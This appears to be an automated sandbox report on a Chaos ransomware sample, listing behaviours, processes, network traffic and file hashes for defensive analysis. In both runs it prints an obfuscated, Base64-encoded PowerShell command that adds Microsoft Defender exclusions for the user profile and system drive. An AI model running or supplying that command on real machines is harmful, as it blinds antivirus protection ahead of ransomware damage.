Malware Analysis Report

2024-10-19 07:13

Sample ID 240314-x6hymach5w
Target Version 6.8.exe
SHA256 4265e1f20a3443c5d9401bc2a27d4014ae75c931d60dcd87124e9d01a943a66e
Tags
chaos ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4265e1f20a3443c5d9401bc2a27d4014ae75c931d60dcd87124e9d01a943a66e

Threat Level: Known bad

The file Version 6.8.exe was found to be: Known bad.

Malicious Activity Summary

chaos ransomware

Chaos

Chaos Ransomware

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-14 19:27

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-14 19:27

Reported

2024-03-14 19:31

Platform

win7-20240221-en

Max time kernel

119s

Max time network

139s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"

Signatures

Chaos

ransomware chaos

Chaos Ransomware

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe

"C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAZABpACMAPgA="

C:\Users\Admin\AppData\Roaming\Version 2.8.exe

"C:\Users\Admin\AppData\Roaming\Version 2.8.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2644 -s 568

Network

N/A

Files

memory/3008-0-0x0000000000040000-0x000000000018E000-memory.dmp

memory/3008-1-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp

memory/3008-2-0x000000001ADC0000-0x000000001AEFE000-memory.dmp

memory/3008-3-0x000000001B120000-0x000000001B1A0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Version 2.8.exe

MD5 77a0989f046d5404700debc97727ca2b
SHA1 d0bdfdc67862e0bfa491d5d4a3313382a7921625
SHA256 99b88ce97064536c370e630245018b15bf87c0c1113e2c4c95bfb7dc1078b647
SHA512 f918e3bf1d488cb77f06ede3d565396b8a6391f372e79fd6d148e1afec311143332bd91cb6d3f05fd6b348d40bfd4ae02adc79e20c6031aaa08c1d29d5b83aa9

memory/2644-14-0x00000000008D0000-0x000000000090E000-memory.dmp

memory/2644-15-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp

memory/3008-16-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp

memory/2552-17-0x000000001B100000-0x000000001B3E2000-memory.dmp

memory/2552-18-0x0000000002570000-0x0000000002578000-memory.dmp

memory/2552-19-0x000007FEEEA10000-0x000007FEEF3AD000-memory.dmp

memory/2552-20-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2552-21-0x000007FEEEA10000-0x000007FEEF3AD000-memory.dmp

memory/2552-22-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2552-23-0x00000000028A0000-0x0000000002920000-memory.dmp

memory/2552-24-0x000007FEEEA10000-0x000007FEEF3AD000-memory.dmp

memory/2644-25-0x000007FEF51C0000-0x000007FEF5BAC000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-14 19:27

Reported

2024-03-14 19:30

Platform

win10v2004-20240226-en

Max time kernel

149s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"

Signatures

Chaos

ransomware chaos

Chaos Ransomware

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Version 2.8.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe

"C:\Users\Admin\AppData\Local\Temp\Version 6.8.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAcQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AeABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAZABpACMAPgA="

C:\Users\Admin\AppData\Roaming\Version 2.8.exe

"C:\Users\Admin\AppData\Roaming\Version 2.8.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 175.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 100.5.17.2.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 140.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 204.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 160.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 193.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 134.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 195.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 141.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 177.178.17.96.in-addr.arpa udp
GB 96.17.178.204:80 tcp

Files

memory/1708-0-0x0000000000510000-0x000000000065E000-memory.dmp

memory/1708-1-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

memory/1708-2-0x000000001B290000-0x000000001B3CE000-memory.dmp

memory/1708-3-0x0000000002860000-0x0000000002870000-memory.dmp

C:\Users\Admin\AppData\Roaming\Version 2.8.exe

MD5 77a0989f046d5404700debc97727ca2b
SHA1 d0bdfdc67862e0bfa491d5d4a3313382a7921625
SHA256 99b88ce97064536c370e630245018b15bf87c0c1113e2c4c95bfb7dc1078b647
SHA512 f918e3bf1d488cb77f06ede3d565396b8a6391f372e79fd6d148e1afec311143332bd91cb6d3f05fd6b348d40bfd4ae02adc79e20c6031aaa08c1d29d5b83aa9

memory/4988-17-0x00000000000C0000-0x00000000000FE000-memory.dmp

memory/1708-18-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

memory/4988-19-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22glfn0k.r1i.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2872-30-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

memory/2872-29-0x00000269DEC10000-0x00000269DEC32000-memory.dmp

memory/2872-31-0x00000269DE890000-0x00000269DE8A0000-memory.dmp

memory/2872-32-0x00000269DE890000-0x00000269DE8A0000-memory.dmp

memory/2872-35-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp

memory/4988-36-0x00007FFD659E0000-0x00007FFD664A1000-memory.dmp